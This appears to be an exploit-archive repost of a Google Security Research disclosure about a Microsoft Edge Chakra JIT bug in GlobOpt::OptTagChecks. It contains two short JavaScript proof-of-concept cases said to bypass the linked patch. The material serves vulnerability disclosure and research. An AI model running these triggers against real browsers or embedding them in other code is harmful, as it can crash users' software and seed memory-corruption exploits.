Microsoft Edge Chakra JIT - GlobOpt::OptTagChecks Must Consider IsLoopPrePass Properly (2)

2018-02-15T00:00:00
ID 1337DAY-ID-29790
Type zdt
Reporter Google Security Research
Modified 2018-02-15T00:00:00

Description

Exploit for windows platform in category dos / poc

                                        
                                            It seems this is the patch for the bug.
https://github.com/Microsoft/ChakraCore/pull/4226/commits/874551dd00ff6f404e593c7e0162efb54b953f5a
 
The following two cases will bypass the fix.
 
1:
function opt() {
    let obj = new Number(2.3023e-320);
    for (let i = 0; i < 1; i++) {
        obj.x = 1;
        obj = +obj;
        obj.x = 1;
    }
}
 
function main() {
    for (let i = 0; i < 100; i++) {
        opt();
    }
}
 
main();
 
2:
function opt() {
    let obj = '2.3023e-320';
    for (let i = 0; i < 1; i++) {
        obj.x = 1;
        obj = +obj;
        obj.x = 1;
    }
}
 
function main() {
    for (let i = 0; i < 100; i++) {
        opt();
    }
}
 
main();

#  0day.today [2018-04-02]  #